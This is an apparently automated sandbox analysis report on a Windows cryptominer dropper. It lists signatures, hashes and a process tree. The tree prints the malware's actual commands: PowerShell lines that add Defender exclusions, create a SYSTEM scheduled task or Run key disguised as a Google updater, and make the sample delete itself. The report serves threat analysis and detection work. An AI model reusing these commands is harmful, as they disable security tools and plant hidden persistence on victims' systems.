Resubmissions

25-01-2024 16:55

240125-vfcyksbhgr 10

24-01-2024 17:15

240124-vstf4aecaj 10

23-01-2024 19:27

240123-x6cfvagbd9 10

23-01-2024 19:27

240123-x6bvbafgem 10

23-01-2024 19:27

240123-x6bjjsgbd8 10

23-01-2024 19:27

240123-x6ax1sfgek 10

23-01-2024 19:27

240123-x6abgsfgej 10

23-01-2024 19:27

240123-x591qagbd7 10

23-01-2024 19:27

240123-x59d7agbd6 10

23-01-2024 19:27

240123-x584esgbd5 10

Analysis

  • max time kernel
    1504s
  • max time network
    1808s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    23-01-2024 19:27

General

  • Target

    grhsghsGHswgh/JqLvG94UkYjhxAeg.exe

  • Size

    2.0MB

  • MD5

    a16a669a09bf158058b83e04e69fe38e

  • SHA1

    f6c94763850d9e590d86057139e8895a7aacdeea

  • SHA256

    cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

  • SHA512

    658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

  • SSDEEP

    49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 29 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • UPX packed file 30 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 5 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 31 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1208
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\JqLvG94UkYjhxAeg.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\JqLvG94UkYjhxAeg.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:2208
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2376
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2704
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
          3⤵
          • Creates scheduled task(s)
          PID:2624
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\JqLvG94UkYjhxAeg.exe"
        2⤵
        • Deletes itself
        • Suspicious use of WriteProcessMemory
        PID:2612
        • C:\Windows\System32\choice.exe
          choice /C Y /N /D Y /T 3
          3⤵
            PID:3052
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
          2⤵
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2584
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
            3⤵
              PID:664
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2240
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1612
            • C:\Windows\system32\schtasks.exe
              "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
              3⤵
              • Creates scheduled task(s)
              PID:2324
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:1584
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            PID:1204
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:2332
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              3⤵
              • Detects videocard installed
              • Modifies data under HKEY_USERS
              • Suspicious use of AdjustPrivilegeToken
              PID:2244
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2344
        • C:\Windows\system32\taskeng.exe
          taskeng.exe {D0B27862-8A29-44A1-B5FD-2D7D6E281773} S-1-5-18:NT AUTHORITY\System:Service:
          1⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:532
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2556

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Program Files\Google\Libs\g.log

          Filesize

          198B

          MD5

          37dd19b2be4fa7635ad6a2f3238c4af1

          SHA1

          e5b2c034636b434faee84e82e3bce3a3d3561943

          SHA256

          8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

          SHA512

          86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

          Filesize

          7KB

          MD5

          e0282fa752e0dd1cb95bdfd94ecf2090

          SHA1

          d193ec4d54c32fb597f6439a10d9fffdf22be236

          SHA256

          5eb9b463858c22fad07d55b8f6758003e26134d43c54e664bd3047275b73bb9e

          SHA512

          5e5bbfd6093868779ebbea3843b08388b0830d79a6f3c8694a686e105dc1fd1af760b4497a1d4f58f7cc8480d9b42539b3d1e04c29c70ccd6d681e7c9ec64473

        • \Program Files\Google\Chrome\updater.exe

          Filesize

          2.0MB

          MD5

          a16a669a09bf158058b83e04e69fe38e

          SHA1

          f6c94763850d9e590d86057139e8895a7aacdeea

          SHA256

          cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

          SHA512

          658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

        • memory/1584-73-0x0000000140000000-0x0000000140016000-memory.dmp

          Filesize

          88KB

        • memory/1584-77-0x0000000140000000-0x0000000140016000-memory.dmp

          Filesize

          88KB

        • memory/1612-61-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

          Filesize

          9.6MB

        • memory/1612-60-0x0000000001170000-0x00000000011F0000-memory.dmp

          Filesize

          512KB

        • memory/1612-58-0x0000000001170000-0x00000000011F0000-memory.dmp

          Filesize

          512KB

        • memory/1612-57-0x0000000001170000-0x00000000011F0000-memory.dmp

          Filesize

          512KB

        • memory/1612-56-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

          Filesize

          9.6MB

        • memory/1612-55-0x0000000001170000-0x00000000011F0000-memory.dmp

          Filesize

          512KB

        • memory/1612-54-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

          Filesize

          9.6MB

        • memory/2208-29-0x000000013FB40000-0x000000013FD51000-memory.dmp

          Filesize

          2.1MB

        • memory/2208-25-0x000000013FB40000-0x000000013FD51000-memory.dmp

          Filesize

          2.1MB

        • memory/2208-0-0x000000013FB40000-0x000000013FD51000-memory.dmp

          Filesize

          2.1MB

        • memory/2240-47-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

          Filesize

          9.6MB

        • memory/2240-52-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

          Filesize

          9.6MB

        • memory/2240-51-0x00000000010F0000-0x0000000001170000-memory.dmp

          Filesize

          512KB

        • memory/2240-50-0x00000000010F0000-0x0000000001170000-memory.dmp

          Filesize

          512KB

        • memory/2240-49-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

          Filesize

          9.6MB

        • memory/2240-48-0x00000000010F0000-0x0000000001170000-memory.dmp

          Filesize

          512KB

        • memory/2344-71-0x00000000007F0000-0x0000000000810000-memory.dmp

          Filesize

          128KB

        • memory/2344-101-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/2344-131-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/2344-129-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/2344-127-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/2344-125-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/2344-123-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/2344-121-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/2344-119-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/2344-117-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/2344-115-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/2344-113-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/2344-111-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/2344-109-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/2344-107-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/2344-105-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/2344-103-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/2344-99-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/2344-97-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/2344-95-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/2344-93-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/2344-91-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/2344-89-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/2344-87-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/2344-66-0x00000000000B0000-0x00000000000D0000-memory.dmp

          Filesize

          128KB

        • memory/2344-65-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/2344-85-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/2344-82-0x00000000007F0000-0x0000000000810000-memory.dmp

          Filesize

          128KB

        • memory/2344-72-0x0000000000C50000-0x0000000000C70000-memory.dmp

          Filesize

          128KB

        • memory/2344-83-0x0000000000C50000-0x0000000000C70000-memory.dmp

          Filesize

          128KB

        • memory/2344-74-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/2344-76-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/2344-81-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/2344-78-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/2344-80-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/2376-6-0x00000000023A0000-0x00000000023A8000-memory.dmp

          Filesize

          32KB

        • memory/2376-11-0x0000000002470000-0x00000000024F0000-memory.dmp

          Filesize

          512KB

        • memory/2376-10-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

          Filesize

          9.6MB

        • memory/2376-12-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

          Filesize

          9.6MB

        • memory/2376-8-0x0000000002470000-0x00000000024F0000-memory.dmp

          Filesize

          512KB

        • memory/2376-9-0x0000000002470000-0x00000000024F0000-memory.dmp

          Filesize

          512KB

        • memory/2376-7-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

          Filesize

          9.6MB

        • memory/2376-5-0x000000001B0C0000-0x000000001B3A2000-memory.dmp

          Filesize

          2.9MB

        • memory/2556-67-0x000000013FD30000-0x000000013FF41000-memory.dmp

          Filesize

          2.1MB

        • memory/2556-59-0x000000013FD30000-0x000000013FF41000-memory.dmp

          Filesize

          2.1MB

        • memory/2556-46-0x000000013FD30000-0x000000013FF41000-memory.dmp

          Filesize

          2.1MB

        • memory/2584-38-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

          Filesize

          9.6MB

        • memory/2584-37-0x00000000024D0000-0x0000000002550000-memory.dmp

          Filesize

          512KB

        • memory/2584-39-0x00000000024D0000-0x0000000002550000-memory.dmp

          Filesize

          512KB

        • memory/2584-40-0x00000000024D0000-0x0000000002550000-memory.dmp

          Filesize

          512KB

        • memory/2584-41-0x00000000024D0000-0x0000000002550000-memory.dmp

          Filesize

          512KB

        • memory/2584-42-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

          Filesize

          9.6MB

        • memory/2584-36-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

          Filesize

          9.6MB

        • memory/2704-18-0x000000001B100000-0x000000001B3E2000-memory.dmp

          Filesize

          2.9MB

        • memory/2704-19-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

          Filesize

          9.6MB

        • memory/2704-27-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

          Filesize

          9.6MB

        • memory/2704-21-0x0000000002400000-0x0000000002480000-memory.dmp

          Filesize

          512KB

        • memory/2704-26-0x0000000002400000-0x0000000002480000-memory.dmp

          Filesize

          512KB

        • memory/2704-23-0x0000000002400000-0x0000000002480000-memory.dmp

          Filesize

          512KB

        • memory/2704-24-0x0000000002400000-0x0000000002480000-memory.dmp

          Filesize

          512KB

        • memory/2704-20-0x00000000025A0000-0x00000000025A8000-memory.dmp

          Filesize

          32KB

        • memory/2704-22-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

          Filesize

          9.6MB